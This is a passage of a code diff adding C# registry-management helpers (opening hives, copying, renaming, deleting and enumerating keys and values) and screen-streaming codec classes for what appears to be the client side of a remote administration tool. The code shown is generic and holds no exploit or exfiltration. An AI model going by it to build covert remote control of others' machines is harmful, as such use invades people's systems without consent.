Execute = 0x20019,
|
||||
AllAccess = 0xF003F
|
||||
}
|
||||
|
||||
public enum RegistryView
|
||||
{
|
||||
Registry86,
|
||||
Registry64
|
||||
}
|
||||
|
||||
public static RegistryKey OpenBaseKey(RegistryHive registryHive, RegistryView registryType)
|
||||
{
|
||||
var _hiveKeys = new Dictionary<RegistryHive, UIntPtr>
|
||||
{
|
||||
{RegistryHive.ClassesRoot, new UIntPtr(0x80000000u)},
|
||||
{RegistryHive.CurrentConfig, new UIntPtr(0x80000005u)},
|
||||
{RegistryHive.CurrentUser, new UIntPtr(0x80000001u)},
|
||||
{RegistryHive.DynData, new UIntPtr(0x80000006u)},
|
||||
{RegistryHive.LocalMachine, new UIntPtr(0x80000002u)},
|
||||
{RegistryHive.PerformanceData, new UIntPtr(0x80000004u)},
|
||||
{RegistryHive.Users, new UIntPtr(0x80000003u)}
|
||||
};
|
||||
|
||||
var _accessMasks = new Dictionary<RegistryView, RegistryAccessMask>
|
||||
{
|
||||
{RegistryView.Registry64, RegistryAccessMask.Wow6464},
|
||||
{RegistryView.Registry86, RegistryAccessMask.WoW6432}
|
||||
};
|
||||
|
||||
if (Environment.OSVersion.Platform != PlatformID.Win32NT || Environment.OSVersion.Version.Major <= 5)
|
||||
throw new PlatformNotSupportedException(
|
||||
"The platform or operating system must be Windows XP or later.");
|
||||
|
||||
var hiveKey = _hiveKeys[registryHive];
|
||||
var flags = RegistryAccessMask.QueryValue | RegistryAccessMask.EnumerateSubKeys |
|
||||
_accessMasks[registryType];
|
||||
|
||||
var result = Native.RegOpenKeyEx(hiveKey, string.Empty, 0, (uint) flags, out var keyHandlePointer);
|
||||
if (result == 0)
|
||||
{
|
||||
var safeRegistryHandleType =
|
||||
typeof(SafeHandleZeroOrMinusOneIsInvalid).Assembly.GetType(
|
||||
"Microsoft.Win32.SafeHandles.SafeRegistryHandle");
|
||||
var safeRegistryHandleConstructor =
|
||||
safeRegistryHandleType.GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic, null,
|
||||
new[] {typeof(IntPtr), typeof(bool)}, null) ??
|
||||
safeRegistryHandleType.GetConstructor(BindingFlags.Instance | BindingFlags.Public, null,
|
||||
new[] {typeof(IntPtr), typeof(bool)}, null);
|
||||
|
||||
var keyHandle = safeRegistryHandleConstructor.Invoke(new object[] {keyHandlePointer, true});
|
||||
var net3Constructor = typeof(RegistryKey).GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic,
|
||||
null, new[] {safeRegistryHandleType, typeof(bool)}, null);
|
||||
var net4Constructor = typeof(RegistryKey).GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic,
|
||||
null, new[] {typeof(IntPtr), typeof(bool), typeof(bool), typeof(bool), typeof(bool)}, null);
|
||||
object key;
|
||||
|
||||
if (net4Constructor != null)
|
||||
{
|
||||
key = net4Constructor.Invoke(new object[]
|
||||
{keyHandlePointer, true, false, false, hiveKey == _hiveKeys[RegistryHive.PerformanceData]});
|
||||
}
|
||||
else if (net3Constructor != null)
|
||||
{
|
||||
key = net3Constructor.Invoke(new[] {keyHandle, true});
|
||||
}
|
||||
else
|
||||
{
|
||||
var keyFromHandleMethod = typeof(RegistryKey).GetMethod("FromHandle",
|
||||
BindingFlags.Static | BindingFlags.Public, null, new[] {safeRegistryHandleType}, null);
|
||||
key = keyFromHandleMethod.Invoke(null, new[] {keyHandle});
|
||||
}
|
||||
|
||||
var field = typeof(RegistryKey).GetField("keyName", BindingFlags.Instance | BindingFlags.NonPublic);
|
||||
if (field != null)
|
||||
switch (registryHive)
|
||||
{
|
||||
case RegistryHive.ClassesRoot:
|
||||
{
|
||||
field.SetValue(key, "HKEY_CLASSES_ROOT");
|
||||
break;
|
||||
}
|
||||
case RegistryHive.CurrentUser:
|
||||
{
|
||||
field.SetValue(key, "HKEY_CURRENT_USER");
|
||||
break;
|
||||
}
|
||||
case RegistryHive.LocalMachine:
|
||||
{
|
||||
field.SetValue(key, "HKEY_LOCAL_MACHINE");
|
||||
break;
|
||||
}
|
||||
case RegistryHive.Users:
|
||||
{
|
||||
field.SetValue(key, "HKEY_USERS");
|
||||
break;
|
||||
}
|
||||
case RegistryHive.PerformanceData:
|
||||
{
|
||||
field.SetValue(key, "HKEY_PERFORMANCE_DATA");
|
||||
break;
|
||||
}
|
||||
case RegistryHive.CurrentConfig:
|
||||
{
|
||||
field.SetValue(key, "HKEY_CURRENT_CONFIG");
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
field.SetValue(key, string.Empty);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return (RegistryKey) key;
|
||||
}
|
||||
|
||||
if (result == 2) // NOT_FOUND
|
||||
return null;
|
||||
|
||||
throw new Win32Exception(result);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,336 @@
|
|||
using Microsoft.Win32;
|
||||
|
||||
namespace Client.Helper.RegManager
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides extensions for registry key and value operations.
|
||||
/// </summary>
|
||||
public static class RegistryKeyExtensions
|
||||
{
|
||||
/// <summary>
|
||||
/// Attempts to obtain a readonly (non-writable) sub key from the key provided using the
|
||||
/// specified name. Exceptions thrown will be caught and will only return a null key.
|
||||
/// This method assumes the caller will dispose of the key when done using it.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the sub key is obtained from.</param>
|
||||
/// <param name="name">The name of the sub-key.</param>
|
||||
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
|
||||
/// unable to obtain a sub-key.</returns>
|
||||
public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
return key.OpenSubKey(name, false);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to obtain a writable sub key from the key provided using the specified
|
||||
/// name. This method assumes the caller will dispose of the key when done using it.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the sub key is obtained from.</param>
|
||||
/// <param name="name">The name of the sub-key.</param>
|
||||
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
|
||||
/// unable to obtain a sub-key.</returns>
|
||||
public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
return key.OpenSubKey(name, true);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to create a sub key from the key provided using the specified
|
||||
/// name. This method assumes the caller will dispose of the key when done using it.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the sub key is to be created from.</param>
|
||||
/// <param name="name">The name of the sub-key.</param>
|
||||
/// <returns>Returns the sub-key that was created for the key and name provided; Returns null if
|
||||
/// unable to create a sub-key.</returns>
|
||||
public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
return key.CreateSubKey(name);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete a sub-key and its children from the key provided using the specified
|
||||
/// name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
|
||||
/// <param name="name">The name of the sub-key.</param>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
key.DeleteSubKeyTree(name);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Derived and Adapted from drdandle's article,
|
||||
* Copy and Rename Registry Keys at Code project.
|
||||
* Copy and Rename Registry Keys (Post Date: November 11, 2006)
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This is a work that is not of the original. It
|
||||
* has been modified to suit the needs of another
|
||||
* application.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* First Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys
|
||||
*/
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename a sub-key to the key provided using the specified old
|
||||
/// name and new name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the subkey is to be renamed from.</param>
|
||||
/// <param name="oldName">The old name of the sub-key.</param>
|
||||
/// <param name="newName">The new name of the sub-key.</param>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
try
|
||||
{
|
||||
//Copy from old to new
|
||||
key.CopyKey(oldName, newName);
|
||||
//Dispose of the old key
|
||||
key.DeleteSubKeyTree(oldName);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Try to dispose of the newKey (The rename failed)
|
||||
key.DeleteSubKeyTreeSafe(newName);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to copy a old subkey to a new subkey for the key
|
||||
/// provided using the specified old name and new name. (throws exceptions)
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the subkey is to be deleted from.</param>
|
||||
/// <param name="oldName">The old name of the sub-key.</param>
|
||||
/// <param name="newName">The new name of the sub-key.</param>
|
||||
public static void CopyKey(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
//Create a new key
|
||||
using (var newKey = key.CreateSubKey(newName))
|
||||
{
|
||||
//Open old key
|
||||
using (var oldKey = key.OpenSubKey(oldName, true))
|
||||
{
|
||||
//Copy from old to new
|
||||
RecursiveCopyKey(oldKey, newKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename a sub-key to the key provided using the specified old
|
||||
/// name and new name.
|
||||
/// </summary>
|
||||
/// <param name="sourceKey">The source key to copy from.</param>
|
||||
/// <param name="destKey">The destination key to copy to.</param>
|
||||
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
||||
{
|
||||
//Copy all of the registry values
|
||||
foreach (var valueName in sourceKey.GetValueNames())
|
||||
{
|
||||
var valueObj = sourceKey.GetValue(valueName);
|
||||
var valueKind = sourceKey.GetValueKind(valueName);
|
||||
destKey.SetValue(valueName, valueObj, valueKind);
|
||||
}
|
||||
|
||||
//Copy all of the subkeys
|
||||
foreach (var subKeyName in sourceKey.GetSubKeyNames())
|
||||
using (var sourceSubkey = sourceKey.OpenSubKey(subKeyName))
|
||||
{
|
||||
using (var destSubKey = destKey.CreateSubKey(subKeyName))
|
||||
{
|
||||
//Recursive call to copy the sub key data
|
||||
RecursiveCopyKey(sourceSubkey, destSubKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to set a registry value for the key provided using the specified
|
||||
/// name, data and kind. If the registry value does not exist it will be created
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the value is to be set for.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <param name="data">The data of the value</param>
|
||||
/// <param name="kind">The value kind of the value</param>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
|
||||
{
|
||||
try
|
||||
{
|
||||
// handle type conversion
|
||||
if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[]))
|
||||
switch (kind)
|
||||
{
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
data = ByteConverter.ToString((byte[]) data);
|
||||
break;
|
||||
case RegistryValueKind.DWord:
|
||||
data = ByteConverter.ToUInt32((byte[]) data);
|
||||
break;
|
||||
case RegistryValueKind.QWord:
|
||||
data = ByteConverter.ToUInt64((byte[]) data);
|
||||
break;
|
||||
case RegistryValueKind.MultiString:
|
||||
data = ByteConverter.ToStringArray((byte[]) data);
|
||||
break;
|
||||
}
|
||||
|
||||
key.SetValue(name, data, kind);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete a registry value for the key provided using the specified
|
||||
/// name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the value is to be delete from.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool DeleteValueSafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
key.DeleteValue(name);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename a registry value to the key provided using the specified old
|
||||
/// name and new name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the registry value is to be renamed from.</param>
|
||||
/// <param name="oldName">The old name of the registry value.</param>
|
||||
/// <param name="newName">The new name of the registry value.</param>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
try
|
||||
{
|
||||
//Copy from old to new
|
||||
key.CopyValue(oldName, newName);
|
||||
//Dispose of the old value
|
||||
key.DeleteValue(oldName);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Try to dispose of the newKey (The rename failed)
|
||||
key.DeleteValueSafe(newName);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to copy a old registry value to a new registry value for the key
|
||||
/// provided using the specified old name and new name. (throws exceptions)
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the registry value is to be copied.</param>
|
||||
/// <param name="oldName">The old name of the registry value.</param>
|
||||
/// <param name="newName">The new name of the registry value.</param>
|
||||
public static void CopyValue(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
var valueKind = key.GetValueKind(oldName);
|
||||
var valueData = key.GetValue(oldName);
|
||||
|
||||
key.SetValue(newName, valueData, valueKind);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the specified subkey exists in the key
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which to search.</param>
|
||||
/// <param name="name">The name of the sub-key to find.</param>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool ContainsSubKey(this RegistryKey key, string name)
|
||||
{
|
||||
foreach (var subkey in key.GetSubKeyNames())
|
||||
if (subkey == name)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the specified registry value exists in the key
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which to search.</param>
|
||||
/// <param name="name">The name of the registry value to find.</param>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool ContainsValue(this RegistryKey key, string name)
|
||||
{
|
||||
foreach (var value in key.GetValueNames())
|
||||
if (value == name)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the default value for a given data type of a registry value.
|
||||
/// </summary>
|
||||
/// <param name="valueKind">The data type of the registry value.</param>
|
||||
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
|
||||
public static object GetDefault(this RegistryValueKind valueKind)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return new byte[] { };
|
||||
case RegistryValueKind.MultiString:
|
||||
return new string[] { };
|
||||
case RegistryValueKind.DWord:
|
||||
return 0;
|
||||
case RegistryValueKind.QWord:
|
||||
return (long) 0;
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
return "";
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,78 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Client.Helper.RegManager
|
||||
{
|
||||
public static class RegistryKeyHelper
|
||||
{
|
||||
private static string DEFAULT_VALUE = string.Empty;
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the provided value is the default value
|
||||
/// </summary>
|
||||
/// <param name="valueName">The name of the value</param>
|
||||
/// <returns>True if default value, else False</returns>
|
||||
public static bool IsDefaultValue(string valueName)
|
||||
{
|
||||
return string.IsNullOrEmpty(valueName);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds the default value to the list of values and returns them as an array.
|
||||
/// If default value already exists this function will only return the list as an array.
|
||||
/// </summary>
|
||||
/// <param name="values">The list with the values for which the default value should be added to</param>
|
||||
/// <returns>Array with all of the values including the default value</returns>
|
||||
public static RegistrySeeker.RegValueData[] AddDefaultValue(List<RegistrySeeker.RegValueData> values)
|
||||
{
|
||||
if (!values.Any(value => IsDefaultValue(value.Name))) values.Add(GetDefaultValue());
|
||||
return values.ToArray();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the default registry values
|
||||
/// </summary>
|
||||
/// <returns>A array with the default registry values</returns>
|
||||
public static RegistrySeeker.RegValueData[] GetDefaultValues()
|
||||
{
|
||||
return new[] {GetDefaultValue()};
|
||||
}
|
||||
|
||||
public static RegistrySeeker.RegValueData CreateRegValueData(string name, RegistryValueKind kind,
|
||||
object value = null)
|
||||
{
|
||||
var newRegValue = new RegistrySeeker.RegValueData {Name = name, Kind = kind};
|
||||
|
||||
if (value == null)
|
||||
newRegValue.Data = new byte[] { };
|
||||
else
|
||||
switch (newRegValue.Kind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
newRegValue.Data = (byte[]) value;
|
||||
break;
|
||||
case RegistryValueKind.MultiString:
|
||||
newRegValue.Data = ByteConverter.GetBytes((string[]) value);
|
||||
break;
|
||||
case RegistryValueKind.DWord:
|
||||
newRegValue.Data = ByteConverter.GetBytes((uint) (int) value);
|
||||
break;
|
||||
case RegistryValueKind.QWord:
|
||||
newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value);
|
||||
break;
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
newRegValue.Data = ByteConverter.GetBytes((string) value);
|
||||
break;
|
||||
}
|
||||
|
||||
return newRegValue;
|
||||
}
|
||||
|
||||
private static RegistrySeeker.RegValueData GetDefaultValue()
|
||||
{
|
||||
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,184 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Client.Helper.RegManager
|
||||
{
|
||||
public class RegistrySeeker
|
||||
{
|
||||
[Serializable]
|
||||
public class RegSeekerMatch
|
||||
{
|
||||
public string Key { get; set; }
|
||||
|
||||
public RegValueData[] Data { get; set; }
|
||||
|
||||
public bool HasSubKeys { get; set; }
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return $"({Key}:{Data})";
|
||||
}
|
||||
}
|
||||
|
||||
[Serializable]
|
||||
public class RegValueData
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public RegistryValueKind Kind { get; set; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The list containing the matches found during the search.
|
||||
/// </summary>
|
||||
private readonly List<RegSeekerMatch> _matches;
|
||||
|
||||
public RegSeekerMatch[] Matches => _matches?.ToArray();
|
||||
|
||||
public RegistrySeeker()
|
||||
{
|
||||
_matches = new List<RegSeekerMatch>();
|
||||
}
|
||||
|
||||
public void BeginSeeking(string rootKeyName)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(rootKeyName))
|
||||
using (var root = GetRootKey(rootKeyName))
|
||||
{
|
||||
//Check if this is a root key or not
|
||||
if (root != null && root.Name != rootKeyName)
|
||||
{
|
||||
//Must get the subKey name by removing root and '\'
|
||||
var subKeyName = rootKeyName.Substring(root.Name.Length + 1);
|
||||
using (var subroot = root.OpenReadonlySubKeySafe(subKeyName))
|
||||
{
|
||||
if (subroot != null) Seek(subroot);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Seek(root);
|
||||
}
|
||||
}
|
||||
else
|
||||
Seek(null);
|
||||
}
|
||||
|
||||
private void Seek(RegistryKey rootKey)
|
||||
{
|
||||
// Get root registrys
|
||||
if (rootKey == null)
|
||||
foreach (var key in GetRootKeys())
|
||||
//Just need root key so process it
|
||||
ProcessKey(key, key.Name);
|
||||
else
|
||||
//searching for subkeys to root key
|
||||
Search(rootKey);
|
||||
}
|
||||
|
||||
private void Search(RegistryKey rootKey)
|
||||
{
|
||||
foreach (var subKeyName in rootKey.GetSubKeyNames())
|
||||
{
|
||||
var subKey = rootKey.OpenReadonlySubKeySafe(subKeyName);
|
||||
ProcessKey(subKey, subKeyName);
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessKey(RegistryKey key, string keyName)
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
var values = new List<RegValueData>();
|
||||
|
||||
foreach (var valueName in key.GetValueNames())
|
||||
{
|
||||
var valueType = key.GetValueKind(valueName);
|
||||
var valueData = key.GetValue(valueName);
|
||||
values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData));
|
||||
}
|
||||
|
||||
AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount);
|
||||
}
|
||||
else
|
||||
{
|
||||
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
|
||||
}
|
||||
}
|
||||
|
||||
private void AddMatch(string key, RegValueData[] values, int subkeycount)
|
||||
{
|
||||
var match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
|
||||
|
||||
_matches.Add(match);
|
||||
}
|
||||
|
||||
public static RegistryKey GetRootKey(string subkeyFullPath)
|
||||
{
|
||||
var path = subkeyFullPath.Split('\\');
|
||||
try
|
||||
{
|
||||
switch (path[0]) // <== root;
|
||||
{
|
||||
case "HKEY_CLASSES_ROOT":
|
||||
return RegistryExtensions.OpenBaseKey(RegistryHive.ClassesRoot,
|
||||
RegistryExtensions.RegistryView.Registry64);
|
||||
case "HKEY_CURRENT_USER":
|
||||
return RegistryExtensions.OpenBaseKey(RegistryHive.CurrentUser,
|
||||
RegistryExtensions.RegistryView.Registry64);
|
||||
case "HKEY_LOCAL_MACHINE":
|
||||
return RegistryExtensions.OpenBaseKey(RegistryHive.LocalMachine,
|
||||
RegistryExtensions.RegistryView.Registry64);
|
||||
case "HKEY_USERS":
|
||||
return RegistryExtensions.OpenBaseKey(RegistryHive.Users,
|
||||
RegistryExtensions.RegistryView.Registry64);
|
||||
case "HKEY_CURRENT_CONFIG":
|
||||
return RegistryExtensions.OpenBaseKey(RegistryHive.CurrentConfig,
|
||||
RegistryExtensions.RegistryView.Registry64);
|
||||
default:
|
||||
/* If none of the above then the key must be invalid */
|
||||
throw new Exception("Invalid rootkey, could not be found.");
|
||||
}
|
||||
}
|
||||
catch (SystemException)
|
||||
{
|
||||
throw new Exception("Unable to open root registry key, you do not have the needed permissions.");
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
public static List<RegistryKey> GetRootKeys()
|
||||
{
|
||||
var rootKeys = new List<RegistryKey>();
|
||||
try
|
||||
{
|
||||
rootKeys.Add(RegistryExtensions.OpenBaseKey(RegistryHive.ClassesRoot,
|
||||
RegistryExtensions.RegistryView.Registry64));
|
||||
rootKeys.Add(RegistryExtensions.OpenBaseKey(RegistryHive.CurrentUser,
|
||||
RegistryExtensions.RegistryView.Registry64));
|
||||
rootKeys.Add(RegistryExtensions.OpenBaseKey(RegistryHive.LocalMachine,
|
||||
RegistryExtensions.RegistryView.Registry64));
|
||||
rootKeys.Add(RegistryExtensions.OpenBaseKey(RegistryHive.Users,
|
||||
RegistryExtensions.RegistryView.Registry64));
|
||||
rootKeys.Add(RegistryExtensions.OpenBaseKey(RegistryHive.CurrentConfig,
|
||||
RegistryExtensions.RegistryView.Registry64));
|
||||
}
|
||||
catch (SystemException)
|
||||
{
|
||||
throw new Exception("Could not open root registry keys, you may not have the needed permission");
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
throw e;
|
||||
}
|
||||
|
||||
return rootKeys;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
namespace Client.StreamLibrary
|
||||
{
|
||||
public enum CodecOption
|
||||
{
|
||||
/// <summary>
|
||||
/// The Previous and next image size must be equal
|
||||
/// </summary>
|
||||
RequireSameSize,
|
||||
|
||||
/// <summary>
|
||||
/// If the codec is having a stream buffer
|
||||
/// </summary>
|
||||
HasBuffers,
|
||||
|
||||
/// <summary>
|
||||
/// The image will be disposed by the codec and shall not be disposed by the user
|
||||
/// </summary>
|
||||
AutoDispose,
|
||||
|
||||
/// <summary> No codec options were used </summary>
|
||||
None
|
||||
}
|
||||
}
|
|
@ -0,0 +1,48 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using Client.StreamLibrary.src;
|
||||
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IUnsafeCodec
|
||||
{
|
||||
protected JpgCompression jpgCompression;
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
|
||||
public int ImageQuality
|
||||
{
|
||||
get => _imageQuality;
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
jpgCompression = new JpgCompression(value);
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IUnsafeCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
|
||||
public abstract void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format,
|
||||
Stream outStream);
|
||||
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
public abstract Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
using System.Drawing;
|
||||
using System.IO;
|
||||
using Client.StreamLibrary.src;
|
||||
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IVideoCodec
|
||||
{
|
||||
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||
|
||||
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||
|
||||
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||
|
||||
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
protected JpgCompression jpgCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
public int ImageQuality { get; set; }
|
||||
|
||||
public IVideoCodec(int ImageQuality = 100)
|
||||
{
|
||||
jpgCompression = new JpgCompression(ImageQuality);
|
||||
this.ImageQuality = ImageQuality;
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,473 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Client.StreamLibrary.src;
|
||||
|
||||
namespace Client.StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeOptimizedCodec : IUnsafeCodec
|
||||
{
|
||||
private class PopulairPoint
|
||||
{
|
||||
public Rectangle Rect;
|
||||
public int Score;
|
||||
public Stopwatch LastUpdate;
|
||||
|
||||
public PopulairPoint(Rectangle rect)
|
||||
{
|
||||
this.Rect = rect;
|
||||
this.Score = 0;
|
||||
this.LastUpdate = Stopwatch.StartNew();
|
||||
}
|
||||
}
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
